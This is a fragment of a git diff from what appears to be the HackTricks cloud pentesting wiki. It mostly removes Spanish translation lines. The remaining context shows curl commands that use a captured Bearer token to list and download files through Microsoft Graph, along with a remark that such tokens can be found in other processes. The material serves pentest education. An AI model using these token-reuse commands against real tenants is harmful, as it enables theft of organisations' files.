||||
@@ -31,11 +30,6 @@ curl -s -H "Authorization: Bearer <token>" 'https://graph.microsoft.com/v1.0/sit
|
||||
┌──(magichk㉿black-pearl)-[~]
|
||||
└─$ curl -o <filename_output> -L -H "Authorization: Bearer <token>" '<@microsoft.graph.downloadUrl>'
|
||||
```
|
||||
|
||||
**Note that these kind of access tokens can be also found inside other processes.**
|
||||
**Tenga en cuenta que este tipo de tokens de acceso también se pueden encontrar dentro de otros procesos.**
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -2,10 +2,6 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
To start the tests you should have access with a user with **Reader permissions over the subscription** and **Global Reader role in AzureAD**. If even in that case you are **not able to access the content of the Storage accounts** you can fix it with the **role Storage Account Contributor**.
|
||||
Para comenzar las pruebas, debes tener acceso con un usuario con **permisos de Lector sobre la suscripción** y **rol de Lector Global en AzureAD**. Si incluso en ese caso **no puedes acceder al contenido de las cuentas de Almacenamiento**, puedes solucionarlo con el **rol de Contribuyente de Cuenta de Almacenamiento**.
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
Reference in New Issue
Block a user